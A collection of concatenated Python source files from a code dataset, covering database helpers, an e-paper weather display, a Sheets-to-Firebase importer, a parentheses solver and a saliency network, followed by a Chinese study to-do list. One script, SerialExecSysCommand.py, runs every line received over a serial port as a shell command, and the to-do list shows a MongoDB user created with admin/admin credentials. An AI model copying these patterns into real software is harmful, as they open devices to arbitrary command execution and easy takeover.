os.remove(stepByStepPath)\n os.remove(taskPath)\n os.remove(dictionaryPath)\n\n countPath = self.DirectoryPath + '/CountOfTasks.txt'\n countReset = open(countPath, 'w')\n countReset.write('0')\n countReset.close()\n \n def commitVariations(self):\n connection = DataBaseConnection()\n\n cursorSetImplemented = connection.getCursor()\n querySetImplemented = \"UPDATE variation SET is_implemented_pattern = %s WHERE id_pattern = %s\"\n cursorSetImplemented.execute(querySetImplemented, (1, self.idPattern))\n \n numberOfVariations = self.orderNumber()\n \n for i in range(numberOfVariations):\n stepByStepPath = self.DirectoryPath + '/' + 'StepByStep' + str(i) + '.txt'\n taskPath = self.DirectoryPath + '/' + 'Task' + str(i) + '.txt'\n\n stepByStepRead = open(stepByStepPath, 'r')\n stepByStepVariation = stepByStepRead.read()\n stepByStepRead.close()\n\n taskRead = open(taskPath, 'r')\n taskVariation = taskRead.read()\n taskRead.close()\n\n commitCursor = connection.getCursor()\n queryCommit = \"INSERT INTO variation (id_pattern_fk, task_variation, stepbystep_variation) VALUES(%s, %s, %s)\" \n commitCursor.execute(queryCommit, (self.idPattern, taskVariation, stepByStepVariation))\n commitCursor.close()\n\n def pullPattern(self):\n connection = DataBaseConnection()\n\n cursorPull = connection.getDictCursor()\n query = \"SELECT * FROM pattern WHERE id_pattern = %s\"\n cursorPull.execute(query, (self.idPattern))\n\n result = cursorPull.fetchone()\n\n stepByStepPattern = result['stepbystep_pattern']\n taskPattern = result['task_pattern']\n variablesAndConditions = result['variables_and_conditions_pattern']\n \n newStepByStepPatternPath = self.DirectoryPath + '/LatexPatternStepByStep.txt'\n newTaskPatternPath = self.DirectoryPath + '/LatexPatternTask.txt'\n newVariablesAndConditionsPath = self.DirectoryPath + '/VariablesAndConditions.txt'\n\n newStepByStepFile = open(newStepByStepPatternPath, 'a')\n newStepByStepFile.close()\n\n newTaskFile = open(newTaskPatternPath, 'a')\n newTaskFile.close()\n\n newVariablesAndConditionsFile = open(newVariablesAndConditionsPath, 'a')\n newVariablesAndConditionsFile.close()\n\n writeStepByStepPattern = open(newStepByStepPatternPath, 'w')\n writeStepByStepPattern.write(stepByStepPattern)\n writeStepByStepPattern.close()\n \n writeTaskPattern = open(newTaskPatternPath, 'w')\n writeTaskPattern.write(taskPattern)\n writeTaskPattern.close()\n\n writeVariablesAndConditions = open(newVariablesAndConditionsPath, 'w')\n writeVariablesAndConditions.write(variablesAndConditions)\n writeVariablesAndConditions.close()\n","sub_path":"src/VariationAlgorithm.py","file_name":"VariationAlgorithm.py","file_ext":"py","file_size_in_byte":7207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"155268783","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\nimport sys\nimport os\npicdir = os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'pic')\nlibdir = os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'lib')\nif os.path.exists(libdir):\n sys.path.append(libdir)\n\nimport logging\nfrom waveshare_epd import epd2in9d\nimport time\nfrom PIL import Image,ImageDraw,ImageFont\nfrom datetime import datetime\nimport traceback\nimport json\nimport requests\nimport numpy as np\n\nlogging.basicConfig(level=logging.INFO)\n\na_url = 'http://192.168.1.4/admin/api.php'\nw_url = 'https://www.metaweather.com/api/location/2475687/'\n\nnow = datetime.now()\ntime_string = now.strftime(\"%m/%d/%Y %H:%M:%S\")\n\ndef get_data(api_url):\n try:\n r = requests.get(api_url)\n return json.loads(r.text)\n except:\n logging.info(e)\\\n\ndef white_to_transparency(img):\n x = np.asarray(img.convert('RGBA')).copy()\n x[:, :, 3] = (255 * (x[:, :, :3] != 255).any(axis=2)).astype(np.uint8)\n return Image.fromarray(x)\n\ndef c_to_f(temp): \n return str(round((temp * 1.8) + 32)) + '\\u00b0'\n\ntry:\n epd = epd2in9d.EPD()\n epd.init()\n # epd.Clear(0xFF)\n \n font16 = ImageFont.truetype(os.path.join(picdir, 'Font.ttc'), 16)\n font18 = ImageFont.truetype(os.path.join(picdir, 'Font.ttc'), 18)\n font24 = ImageFont.truetype(os.path.join(picdir, 'Font.ttc'), 24)\n \n a_data = get_data(a_url)\n w_data = get_data(w_url)\n # print(w_data)\n\n ads_string = 'Ads Blocked: ' + str(a_data['ads_blocked_today']) + ' / ' + str(round(a_data['ads_percentage_today'])) + '%'\n\n wd = w_data['consolidated_weather']\n \n w_temp_string_today = c_to_f(wd[0]['min_temp']) + '/' + c_to_f(wd[0]['max_temp'])\n w_temp_string_tomorrow = c_to_f(wd[1]['min_temp']) + '/' + c_to_f(wd[1]['max_temp']) \n w_temp_string_after_tomorrow = c_to_f(wd[2]['min_temp']) + '/' + c_to_f(wd[2]['max_temp']) \n\n w_string_today = 'Today: ' + w_temp_string_today + ' ' + str(wd[0]['weather_state_name'])\n w_string_tomorrow = 'Tomorrow: ' + w_temp_string_tomorrow + ' ' + str(wd[1]['weather_state_name'])\n w_string_after_tomorrow = 'After Tomorrow: ' + w_temp_string_after_tomorrow + ' ' + str(wd[2]['weather_state_name'])\n\n icon_url = 'https://www.metaweather.com/static/img/weather/png/64/'\n\n todays_icon = Image.open(requests.get(icon_url + wd[0]['weather_state_abbr']+ '.png', stream=True).raw)\n tomorrows_icon = Image.open(requests.get(icon_url + wd[1]['weather_state_abbr']+ '.png', stream=True).raw)\n day_after_tomorrow_icon = Image.open(requests.get(icon_url + wd[2]['weather_state_abbr']+ '.png', stream=True).raw)\n \n # Drawing on the Horizontal image\n Himage = Image.new('1', (epd.height, epd.width), 255) # 255: clear the frame\n draw = ImageDraw.Draw(Himage)\n draw.text((1, 0), ads_string, font = font24, fill = 0)\n draw.text((1, 30), w_string_today, font = font18, fill = 0)\n draw.text((1, 55), w_string_tomorrow, font = font18, fill = 0)\n draw.text((1, 80), w_string_after_tomorrow, font = font18, fill = 0)\n draw.text((1, 105), time_string, font = font18, fill = 0)\n epd.display(epd.getbuffer(Himage))\n\n time.sleep(6)\n Himage2 = Image.new('1', (epd.height, epd.width), 0)\n Himage2.paste(white_to_transparency(todays_icon), (15, 15))\n Himage2.paste(white_to_transparency(tomorrows_icon), (115, 15))\n Himage2.paste(white_to_transparency(day_after_tomorrow_icon), (215, 15))\n draw = ImageDraw.Draw(Himage2)\n draw.text((20, 95), w_temp_string_today, font = font16, fill = 255)\n draw.text((120, 95), w_temp_string_tomorrow, font = font16, fill = 255)\n draw.text((220, 95), w_temp_string_after_tomorrow, font = font16, fill = 255)\n epd.display(epd.getbuffer(Himage2))\n\n # time.sleep(10)\n # logging.info(\"Clear...\")\n # epd.Clear(0xFF)\n\n epd.sleep()\n time.sleep(3)\n epd.Dev_exit()\n exit()\n \nexcept IOError as e:\n logging.info(e)\n exit()\n \nexcept KeyboardInterrupt: \n logging.info(\"ctrl + c:\")\n epd2in9d.epdconfig.module_exit()\n exit()\n","sub_path":"python/epd_2in9d_ads_and_weather.py","file_name":"epd_2in9d_ads_and_weather.py","file_ext":"py","file_size_in_byte":4081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"56959415","text":"from __future__ import print_function\nfrom googleapiclient.discovery import build\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\nimport firebase_admin\nfrom firebase_admin import credentials,firestore\nimport string\nimport random\n\n\ndef id_generator(size=6, chars=string.ascii_uppercase + string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\n# If modifying these scopes, delete the file token.json.\nSCOPES = 'https://www.googleapis.com/auth/spreadsheets.readonly'\n\n# The ID and range of a sample spreadsheet.\nSAMPLE_SPREADSHEET_ID = '1BxiMVs0XRA5nFMdKvBdBZjgmUUqptlbs74OgvE2upms'\nSAMPLE_RANGE_NAME = 'Class Data!A2:E'\n\ncred = credentials.Certificate(\"clave.json\")\n\nfirebase_admin.initialize_app(cred, {\n 'databaseURL' : 'https://gamarra-e89b4.firebaseio.com'\n})\n\ndb=firestore.client()\n\ndef guardafirebase(fecha,color,s,modelo,origen,destino,talla):\n\n _id=id_generator()+str(fecha)\n\n doc= db.collection(u'modelos_historico').document(fecha).collection('modelos').document(_id)\n \n data={\n u'movimiento':{\n u'cantidad':s,\n u'color':color,\n u'modelo':modelo,\n u'origen':u'Inicio',\n u'destino':destino,\n u'talla':talla\n },\n u'fecha':fecha\n\n }\n\n guarda=0\n\n if (s=='0' or s=='-' or color=='TOTAL'):\n\n guarda=1\n\n print('Ingrese...',s,color)\n\n if guarda==0:\n \n doc.set(data)\n\n return 'oK'\n\n\n\ndef leesheet(SPREADSHEET_ID,RANGE_NAME,modelo):\n\n store = file.Storage('token.json')\n creds = store.get()\n if not creds or creds.invalid:\n flow = client.flow_from_clientsecrets('credentials.json', SCOPES)\n creds = tools.run_flow(flow, store)\n service = build('sheets', 'v4', http=creds.authorize(Http()))\n\n result = service.spreadsheets().values().get(spreadsheetId=SPREADSHEET_ID,\n range=RANGE_NAME).execute()\n values = result.get('values', [])\n\n if not values:\n print('No data found.')\n else:\n\n for m in range(len(values)):\n\n print(values[m])\n\n guardafirebase(u'20-10-2018',values[m][0],values[m][1],modelo,'Inicial',u'ALMACEN',u'S')\n guardafirebase(u'20-10-2018',values[m][0],values[m][2],modelo,'Inicial',u'ALMACEN',u'M')\n guardafirebase(u'20-10-2018',values[m][0],values[m][3],modelo,'Inicial',u'ALMACEN',u'L')\n guardafirebase(u'20-10-2018',values[m][0],values[m][4],modelo,'Inicial',u'TORRE',u'S')\n guardafirebase(u'20-10-2018',values[m][0],values[m][5],modelo,'Inicial',u'TORRE',u'M')\n guardafirebase(u'20-10-2018',values[m][0],values[m][6],modelo,'Inicial',u'TORRE',u'L')\n guardafirebase(u'20-10-2018',values[m][0],values[m][7],modelo,'Inicial',u'CANEPA',u'S')\n guardafirebase(u'20-10-2018',values[m][0],values[m][8],modelo,'Inicial',u'CANEPA',u'M')\n guardafirebase(u'20-10-2018',values[m][0],values[m][9],modelo,'Inicial',u'CANEPA',u'L')\n\n\ndef main():\n \"\"\"Shows basic usage of the Sheets API.\n Prints values from a sample spreadsheet.\n \"\"\"\n store = file.Storage('token.json')\n creds = store.get()\n if not creds or creds.invalid:\n flow = client.flow_from_clientsecrets('credentials.json', SCOPES)\n creds = tools.run_flow(flow, store)\n service = build('sheets', 'v4', http=creds.authorize(Http()))\n\n # Call the Sheets API\n SPREADSHEET_ID = '1o5931JEbZ3Buq0smb-QJA11Fs--SySlLaaoTa9GP9a4'\n RANGE_NAME = 'IBHET!A3:J19'\n\n hojas=[u'LAZO',u'IBHET',u'Isabella gasa',u'ISABELA',u'THAYSA',u'LETICIA',u'IBhet corto',u'tabitah',u'TRAPECIO',u'ESTER V',u'Isabella corto',u'PAMELA',u'IRINA','angela',u'VERONICA']\n\n for h in hojas:\n\n print(h)\n\n leesheet(SPREADSHEET_ID,h+'!'+'A3:J19',h)\n\nif __name__ == '__main__':\n main()\n\n\n\n","sub_path":"fire.py","file_name":"fire.py","file_ext":"py","file_size_in_byte":3865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"469475061","text":"import numpy as np\nimport random\n\nmus = {\n 0: np.array([-1, -1]),\n 1: np.array([1, 1]),\n}\n\nsigmas = {\n 0: np.array([[1, 0.6], [0.6, 1]]),\n 1: np.array([[1, -0.6], [-0.6, 1]]),\n}\n\ndef sample_a_data_point():\n y = np.random.choice([0, 1])\n x = np.random.multivariate_normal(mus[y], sigmas[y])\n\n return x, y\n\n\nif __name__==\"__main__\":\n import matplotlib.pyplot as plt\n\n\n for i in range(1000):\n point = sample_a_data_point()\n c = 'r*' if point[1] == 0 else 'b*'\n x, y = point[0]\n plt.plot([x], [y], c)\n\n plt.show()\n\n\n","sub_path":"example/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"190732767","text":"#!/usr/bin/env python3\n#\n# Problem:\n# For a given string, it may contain extra open and close parentheses. To make it valid,\n# we need remove the minimum number of extra open/close parentheses.\n#\n# Find out all possible removal solutions and all results after the removal.\n#\n\n\nfrom collections import deque\nimport itertools\n\n\ndef solve(input_str):\n if not isinstance(input_str, str):\n return [], set()\n\n if len(input_str) == 0:\n return [], {''}\n\n stack = deque()\n extra_close_parentheses = []\n\n open_parentheses = []\n close_parentheses = []\n first_extra_open = 0\n\n # Iterate the string to record all extra open/close parentheses\n # - for each extra open parentheses, it records its left-most possible position\n # - for each extra close parenthsese, it records its right-most possible position\n for idx, ch in enumerate(input_str):\n if ch == '(':\n stack.append(idx)\n open_parentheses.append(idx)\n elif ch == ')':\n if len(stack) > 0:\n stack.pop()\n if len(stack) == 0:\n first_extra_open = idx + 1\n else:\n # stack is empty, the following close parentheses\n extra_close_parentheses.append(idx)\n close_parentheses.append(idx)\n\n # Handle extra close parentheses\n extra_close_parentheses_list = []\n extra_close_parentheses_cnt = len(extra_close_parentheses)\n last_extra_close = -1\n if extra_close_parentheses_cnt > 0:\n sub_close_parentheses = []\n last_extra_close = extra_close_parentheses[-1]\n for i in close_parentheses:\n if i <= last_extra_close:\n sub_close_parentheses.append(i)\n else:\n break\n\n for combination in itertools.combinations(sub_close_parentheses, extra_close_parentheses_cnt):\n is_good_combination = True\n for i in range(extra_close_parentheses_cnt):\n if combination[i] > extra_close_parentheses[i]:\n is_good_combination = False\n break\n if is_good_combination:\n extra_close_parentheses_list.append(combination)\n\n # If there are both extra open and extra close parentheses,\n # all extra close parentheses must appear first, and then after that, it can have extra open parentheses.\n # Therefore, the left-most possible position for all extra open parentheses must\n # after the right-most possible position for all extra close parentheses.\n # This point can split the string into two parts. The first left part contains only extra close parentheses,\n # and the second right part contains only extra open parentheses.\n # Handle extra open parentheses\n if first_extra_open <= last_extra_close:\n first_extra_open = last_extra_close + 1\n\n extra_open_parentheses_list = []\n extra_open_parentheses_cnt = len(stack)\n if extra_open_parentheses_cnt > 0:\n # Having extra open parentheses from first_extra_open to the end\n sub_open_parentheses = deque()\n for i in reversed(open_parentheses):\n if i >= first_extra_open:\n sub_open_parentheses.appendleft(i)\n else:\n break\n for combination in itertools.combinations(sub_open_parentheses, extra_open_parentheses_cnt):\n is_good_combination = True\n for i in range(extra_open_parentheses_cnt):\n if combination[i] < stack[i]:\n is_good_combination = False\n break\n if is_good_combination:\n extra_open_parentheses_list.append(combination)\n\n # All possible removal index combinations\n if extra_close_parentheses_list and extra_open_parentheses_list:\n all_removal_combinations = [c + o for c in extra_close_parentheses_list for o in extra_open_parentheses_list]\n elif extra_close_parentheses_list:\n all_removal_combinations = extra_close_parentheses_list\n elif extra_open_parentheses_list:\n all_removal_combinations = extra_open_parentheses_list\n else:\n all_removal_combinations = []\n\n if len(all_removal_combinations) == 0:\n return all_removal_combinations, {input_str}\n\n # All possible results after removing invalid parentheses\n all_results = {''.join(input_str[i] for i in range(len(input_str)) if i not in removal_combination)\n for removal_combination in all_removal_combinations}\n return all_removal_combinations, all_results\n\n\nif __name__ == '__main__':\n my_input = ''\n ret = solve(my_input)\n print('input: ' + my_input)\n print(ret)\n\n my_input = None\n ret = solve(my_input)\n print('input: None')\n print(ret)\n\n my_input = '()()'\n ret = solve(my_input)\n print('input: ' + my_input)\n print(ret)\n\n my_input = '())()'\n ret = solve(my_input)\n print('input: ' + my_input)\n print(ret)\n\n my_input = '()(()'\n ret = solve(my_input)\n print('input: ' + my_input)\n print(ret)\n\n my_input = '())()('\n ret = solve(my_input)\n print('input: ' + my_input)\n print(ret)\n\n my_input = '()a)()('\n ret = solve(my_input)\n print('input: ' + my_input)\n print(ret)\n\n my_input = '())()(()(('\n ret = solve(my_input)\n print('input: ' + my_input)\n print(ret)\n\n my_input = '())()(b()(('\n ret = solve(my_input)\n print('input: ' + my_input)\n print(ret)\n","sub_path":"coding/python/chartio/parentheses.py","file_name":"parentheses.py","file_ext":"py","file_size_in_byte":5454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"80626116","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as f\nfrom model.backbone.resnet_101 import *\n__all__ = ['MFNet']\n\n\nclass MFNet(nn.Module):\n def __init__(self):\n super(MFNet, self).__init__()\n\n # ------------------------ 1st directive filter ---------------------------- #\n self.conv1_1 = nn.Conv2d(1024, 320, kernel_size=(3, 3), padding=(1, 1))\n self.conv1_3 = nn.Conv2d(320, 80, kernel_size=(3, 3), padding=(1, 1))\n self.conv1_5 = nn.Conv2d(80, 32, kernel_size=(3, 3), padding=(1, 1))\n self.conv1_7 = nn.Conv2d(32, 32, kernel_size=(3, 3), padding=(1, 1))\n self.conv1_9 = nn.Conv2d(32, 1, kernel_size=(3, 3), padding=(1, 1))\n\n # ------------------------ 2nd directive filter ---------------------------- #\n\n self.conv2_1 = nn.Conv2d(1024, 320, kernel_size=(3, 3), padding=(1, 1))\n self.conv2_3 = nn.Conv2d(320, 80, kernel_size=(3, 3), padding=(1, 1))\n self.conv2_5 = nn.Conv2d(80, 32, kernel_size=(3, 3), padding=(1, 1))\n self.conv2_7 = nn.Conv2d(32, 32, kernel_size=(3, 3), padding=(1, 1))\n self.conv2_9 = nn.Conv2d(32, 1, kernel_size=(3, 3), padding=(1, 1))\n\n # --------------------------- saliency decoder ------------------------------ #\n self.side3_1_2 = nn.Conv2d(256, 128, kernel_size=(3, 3), padding=(1, 1))\n self.side3_2_2 = nn.Conv2d(128, 64, kernel_size=(3, 3), padding=(1, 1))\n\n self.side4_1_2 = nn.Conv2d(512, 128, kernel_size=(3, 3), padding=(1, 1))\n self.side4_2_2 = nn.Conv2d(128, 64, kernel_size=(3, 3), padding=(1, 1))\n\n self.side5_1_2 = nn.Conv2d(1024, 128, kernel_size=(3, 3), padding=(1, 1))\n self.side5_2_2 = nn.Conv2d(128, 64, kernel_size=(3, 3), padding=(1, 1))\n\n self.side3cat2 = nn.Conv2d(192, 64, kernel_size=(3, 3), padding=(1, 1))\n self.side3out2 = nn.Conv2d(64, 1, kernel_size=(3, 3), padding=(1, 1))\n\n # ------------------------------ others ----------------------------------- #\n self.sigmoid = nn.Sigmoid()\n self._initialize_weights()\n self.upsample = nn.Upsample(scale_factor=2, mode='nearest')\n self.up2 = nn.Upsample(scale_factor=2, mode='nearest')\n\n # --------------------------- shared encoder ------------------------------ #\n self.resnet = resnet101(pretrained=True)\n\n def _initialize_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.xavier_uniform_(m.weight.data)\n if m.bias is not None:\n m.bias.data.zero_()\n\n def forward(self, x):\n # --------------------------- shared encoder ------------------------------ #\n x3, x4, x5 = self.resnet(x)\n\n # ------------------------ 1st directive filter ---------------------------- #\n sal1 = (self.conv1_9(self.up2(self.conv1_7(\n self.up2(self.conv1_5(\n self.up2(self.conv1_3(\n self.up2(self.conv1_1(x5))))))))))\n\n # ------------------------ 2nd directive filter ---------------------------- #\n sal2 = (self.conv2_9(self.up2(self.conv2_7(\n self.up2(self.conv2_5(\n self.up2(self.conv2_3(\n self.up2(self.conv2_1(x5))))))))))\n\n # --------------------------- saliency decoder ------------------------------ #\n h_side3_2 = self.side3_2_2(self.side3_1_2(x3))\n h_side4_2 = self.side4_2_2(self.side4_1_2(x4))\n h_side5_2 = self.side5_2_2(self.side5_1_2(x5))\n # upsample to same size (1/4 original size)\n h_side5_2_up2 = self.upsample(h_side5_2)\n h_side5_2_up4 = self.upsample(h_side5_2_up2)\n h_side4_2_up2 = self.upsample(h_side4_2)\n\n # fusion\n side3_2 = self.side3out2(self.side3cat2(torch.cat((h_side5_2_up4, h_side4_2_up2, h_side3_2), 1)))\n # upsample to original size\n side3_2 = f.interpolate(side3_2, scale_factor=4, mode='bilinear', align_corners=False)\n\n # return side3_2\n return sal1.sigmoid(), sal2.sigmoid(), side3_2.sigmoid()\n","sub_path":"model/MFNet_resnet.py","file_name":"MFNet_resnet.py","file_ext":"py","file_size_in_byte":4200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"147294659","text":"import serial\r\nimport subprocess, sys\r\ns = None\r\ndef setup():\r\n\tglobal s\r\n\t# open serial COM port to /dev/ttyS0, which maps to UART0(D0/D1)\r\n\t# the baudrate is set to 57600 and should be the same as the one\r\n\t# specified in the Arduino sketch uploaded to ATmega32U4.\r\n\ts = serial.Serial(\"/dev/ttyS0\", 57600)\r\nsetup()\r\nwhile True:\r\n\tline=s.readline()\r\n\tprint(line)\r\n\tpingPopen = subprocess.Popen(args=line, shell=True)\r\n","sub_path":"python/Arduino_7688/SerialExecSysCommand.py","file_name":"SerialExecSysCommand.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"245115785","text":"__FILE__ = \"Unfinished Schedule\"\n\n# todo\n\"\"\"\n2019.07.03 - aiohttp中部分源码,还是可以了解下\n2019.07.14 - 从新定义新目标,Scrapy源码需要尽快拿下,之后还有Django源码解析。这个又是一个巨无霸,哎,何时是个头\n2019.07.14 - 逐渐构造散乱的知识点,是否可以联合起来(bootstrap、Vue、js、css、eCharts),进行一次自我突破?????主要是前端知识,后端也很多都是零散的知识点\n2019.07.15 - 杨辉三角,找盘子问题,求素数。codepen --- atom 前端不错的编辑器\n2019.07.16 - 各种后端知识,如缓存、优化之路,太多了,学不完啊都不会啊\n2019.07.19 - Scrapy虽然说最基本的流程走通了,但是还有很多细节处理没有抓到,他的通用中间件是如何工作的,等等\n2019.07.19 - 能不能在数据统计图中加入像xs写的那样的数据过滤功能,感觉很不错的样子\n2019.07.20 - 理下最近思路。爬虫:就是scrapy框架问题。后端:Django源码尝试看看。前端:特效部分不谈,太坑了。\n2019.07.23 - socket维护分布式队列,\n2019.07.28 - 技能Http协议,还有数据库,我的天呢,都是坑,还多不知道,面试咋搞啊\n2019.07.29 - Scrapy系列教程应该出了。模仿源码:基本的Request或Response对象管理|实现异步下载|加入引擎管理|加入调度器管理|加入下载器管理|\n2019.07.31 - 廖雪峰老师的java,有点掉啊\n2019.08.01 - blog注册页似乎有点问题,那个点\n2019.08.12 - Mongodb的位算法是什么意思,位算法,感觉本来就很扯淡的样子\n2019.08.13 - Scrapy中间件写的太少了,没有感觉,体会不到精髓\n2019.08.13 - self.stats.inc_value(key) - 这行代码有点眼熟啊,这是干啥作用的呢\n2019.08.13 - 可以搭建聊天的系统吗,这个好像超级掉的样子\n2019.08.14 - import socketserver / from http.server import HTTPServer, BaseHTTPRequestHandler 这来年各个有点神奇的库,应该可以直接处理socket\n2019.08.17 - mysql数据类型有哪些,什么组电选择什么类型,类型字节大小、限制条件。索引问题。\n2019.08.19 - rabbitmq怎么玩啊,各种exchange还有key,晒意思 https://www.cnblogs.com/huanggy/p/9695712.html\n2019.08.20 - css动态图https://www.jianshu.com/p/3a0fb1e30ec5 https://www.zhangxinxu.com/wordpress/2010/11/css3-transitions-transforms-animation-introduction/\n2019.08.22 - scrapy如何做持久化数据的保存,有待研究哦\n2019.08.27 - 微信爬虫和展示可以提上进程了,对于如何重新架构也可以提上进程了,还是以aiohttp为主,flask和django为辅,进行web开发。前端倒是一个需要好好构造的地方\n2019.08.27 - 学习mysql不错的计划教程:https://blog.csdn.net/hw478983/article/details/78813938\n2019.08.28 - https://github.com/FanhuaandLuomu 这个人的爬虫确实可以啊\n2019.08.28 - https://keras-cn.readthedocs.io/en/latest/ 不错的中文学习文档\n2019.08.29 - 微信这验证码这玩意要是实在搞不定,可以试试第三方查询网站:https://chuansongme.com/\n2019.08.29 - 自己的人物画像,这个感觉比简历调一些哦~这玩意咋实现啊。这玩意首先要接入github的接口,感觉不太简单。但是过去的数据是可以存到自己的数据库的,这个是没有问题的,只不过需要更新把。\n2019.08.31 - 改版确实非常的有必要。文件服务器耦合太高了,完全离不开了\n2019.09.04 - 目前来说验证码的进度已经开始了,但是是否能够识别成功还是一个问题。是在不成功,可以试下去除正铉后或者直接使用比较干净的图片也可以呀\n2019.09.04 - 目前等验证码实现,就可以开始着手进行改版了。改版首先需要将后台进行一次整理,按照以前的方法即可,将对应的板块放在一起\n2019.09.04 - 前端大改版,清除多余的测试代码,要开始着手写一写大方法了,和xs一样就好了,难啊\n2019.09.04 - 可以开始练习30天js了和css了。搞完就开始整改!\n2019.09.06 - Scrapy的指定路径查询,也可以写一个开源项目。但是如何编写爬虫指令呢,这倒是一个问题。协程scrapy-redis那种就差不多了,嘿嘿\n2019.09.08 - 好像看到了自由职业的影子了,有很大的难度啊。人脸识别什么的都知识基础了吗 - 这玩意还需要和硬件进行结合,手机app端的相机调用等等,不太好搞啊\n2019.09.09 - 规划好2019终极计划\n2019.09.09 - 加入第二道反爬机制,YunSuoAutoJump\n2019.09.09 - 微信接口有一个itchat,感觉不错,很多人再用\n2019.09.10 - 今天要是能把新blog装好,也算是功德无限把\n2019.09.11 - 图片降噪算法需要好好找一下\n2019.09.11 - 反爬是不是需要重新再起一个服务,类似裁判文书网这样的\n2019.09.16 - socket使用socketserver这个原生库,然后加入websocket的解析,然后使用数据局对用户的访问进行保存与读取,目前暂定redis和mongodb,这两个在同一个线程里面会不会有有危险啊\n 用户名就使用雪花算法的id,mongodb库名和redis名字都想一下就行,插入什么的应该都不是问题。\n\"\"\"\n\n\"\"\"DONE!\n2019.07.22 - KNN整理下\n2019.09.02 - github的接口其实是一个爬虫,不需要实时的取统计把,获取某一天的数据,然后存入数据库。mongo库就可以。可以试试 - github的接口需要实现一个了,在实现之后可以开始着手重构了,后端其实重构的不是很多,主要是html页面需要重构,这个确实麻烦\n2019.09.02 - github查询提交次数的基础功能实现了,还不错\n2019.08.29 - 第三方IP代理池维护,接口可以实现了,后台都挂一起把,实在压力大可以在挂在老胡那边。这玩意毕竟还是自己需要使用的啊\n2019.08.29 - (废弃,意义基本没有)(各个区域的不一样,需要爬取各个市级的接口,感觉nice呀)计算随后薪水的接口实现一个,放在网页上,这个还是可以的。不错哦!这玩意还怎么用爬虫啊,这就很nice了啊\n2019.08.29 - pdf转码接口,我觉得,真的也可以实现一个啊,但是转码服务挂在那呢,这倒是一个问题啊。囧\n2019.08.30 - 自如房价的问题,这玩意我现在测试失败,但是从线上的角度看居然是对的,不太可思议啊,怎么回事\n2019.08.31 - ocr识别接口可以移植过来,感觉不错的样子哦\n2019.08.18 - flask部署,参考官方文档http://www.pythondoc.com/flask/deploying/ ,或者这货的似乎也不错https://www.cnblogs.com/xmxj0707/p/8452881.html\n command=gunicorn -c gunc.py hello:app ; supervisor启动命令\n supervisord -c supervisor.conf\n supervisorctl reload :修改完配置文件后重新启动supervisor\n2019.08.02 - 周末应该干点啥:\n scrapy爬虫的流程,要自觉点搞出来,只要把这个搞出来了,那干啥基本都好说。\n Django的官方文档,还没有吃完,只吃了一点点啊,这个还需要努力一把\n Java代码,这个有必要看吗,可以尝试性看下吧,毕竟还是主看python\n 文书网那反爬咋搞啊\n2019.07.29 - scrapy什么时候发送各种信号,signal.spider_open,有几种,分别什么时候发送,这个应该了解下\n2019.07.18 - 反爬哪里似乎有点bug,误操可能导致无限回调??????\n2019.08.14 - 现在问题就集中在,如何对Mongodb数据进行分页,查询,获取对应的数据 \n - SQL代码1:平均用时6.6秒 SELECT * FROM `cdb_posts` ORDER BY pid LIMIT 1000000 , 30 \n - SQL代码2:平均用时0.6秒 SELECT * FROM `cdb_posts` WHERE pid >= (SELECT pid FROM \n `cdb_posts` ORDER BY pid LIMIT 1000000 , 1) LIMIT 30\n2019.08.14 - 看下如何使用redis设置时间,一定时间过后就删除对应的数据 -- 设计:redis存入时间为访问的时间,时间超过一个月没有二次访问就删除\n2019.08.12 - from scrapy.interfaces import ISpiderLoader - from zope.interface import implementer - @implementer(ISpiderLoader) - 这是个什么骚操作,接口吗?\n2019.08.12 - 爬虫是在哪一步被实例化的,什么时候会执行__init__初始化函数。在init之前,执行了一次update_setting,对custom_setting进行了初始化,所以把custom_setting写在init里面是没有用的,但是把heartbeat写在init里面,这个倒是没有问题\n2019.07.27 - 创建mongodb用户\n db.createUser({user:'admin',pwd:'admin',roles:[{role:'userAdminAnyDatabase',db:'admin'}]})\n db.auth(\"user\",\"password\")\n mongodb://user:password@localhost:27017/admin \n2019.07.27 - 完成proxy—pool开源项目 https://github.com/CzaOrz/ioco/tree/t426/open_source_project/proxy_pool/\n2019.07.19 - 'scrapy.downloadermiddlewares.httpproxy.HttpProxyMiddleware' 爬虫代理,我的天哪,我居然还不会,醉了。代理是个大问题啊!\n url_list = ['http://www.xicidaili.com/nn/', # 高匿 'http://www.xicidaili.com/nt/', # 透明 ]\n url_list = ['https://www.kuaidaili.com/free/inha/','https://www.kuaidaili.com/free/intr/']\n2019.07.22 - blog模板苏沪有点问题\n2019.07.19 - 二叉树的三种排序\n2019.07.21 - 自如改版,价格居然放在了css里面,真是无语\n2019.07.18 - 可以对文章进行分类,再来一个汇总的,这样就很nice了,还需要见一个数据库做统计分类\n2019.07.18 - 删除评论模块有BUG,只删除了父评论,子评论还在!!!!\n2019.06.04 - 百度那位小哥的代码,看看是不是可以加入Item组件,感觉很牛\n2019.07.17 - scrapy如何停止,这是个问题\n2019.07.14 - sx富文本编辑器,使用了Vue的初始化等没怎么建国的函数,尝试了解然后部署到自己机器上把,哈哈哈\n2019.07.17 - 直接调用别人的js,太贱了吧,哈哈哈,害怕\n2019.07.15 - Vue的几个实例,研究研究,copy过来,很吊哦\n2019.07.15 - 为网站添加反爬机制 - 添加最简单的cookie反爬,后期看是否有必要再深入\n2019.07.15 - root用户管理界面有问题,访问500\n2019.07.12 - 如何关注前沿知识,什么是持续跟进一个项目???? -- 